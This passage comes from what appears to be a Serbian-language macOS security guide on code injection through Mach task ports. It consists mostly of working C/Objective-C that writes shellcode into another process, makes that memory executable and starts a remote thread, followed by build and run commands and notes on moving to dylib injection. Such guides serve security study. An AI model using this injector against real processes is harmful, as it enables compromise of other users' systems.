// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</detalji>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Da biste ovo omogućili na iOS-u, potrebno je imati dozvolu dynamic-codesigning kako biste mogli da napravite memorijski zapis koji je izvršiv.

Ubacivanje Dylib-a u nit putem Task porta

Na macOS-u se niti mogu manipulisati putem Mach ili korišćenjem posix pthread api. Nit koju smo generisali u prethodnom ubacivanju, generisana je korišćenjem Mach api-ja, tako da nije posix kompatibilna.

Bilo je moguće ubaciti jednostavan shellcode za izvršavanje komande jer nije bilo potrebno raditi sa posix kompatibilnim api-jima, već samo sa Mach-om. Složenije ubacivanje bi zahtevalo da je nit takođe posix kompatibilna.

Stoga, da biste unapredili nit, trebalo bi pozvati pthread_create_from_mach_thread koji će kreirati validnu pthread. Zatim, ova nova pthread bi mogla pozvati dlopen da učita dylib sa sistema, tako da umesto pisanja novog shellcode-a za obavljanje različitih akcija, moguće je učitati prilagođene biblioteke.

Možete pronaći primer dylib-ova u (na primer onaj koji generiše log i zatim možete da ga pratite):

Last updated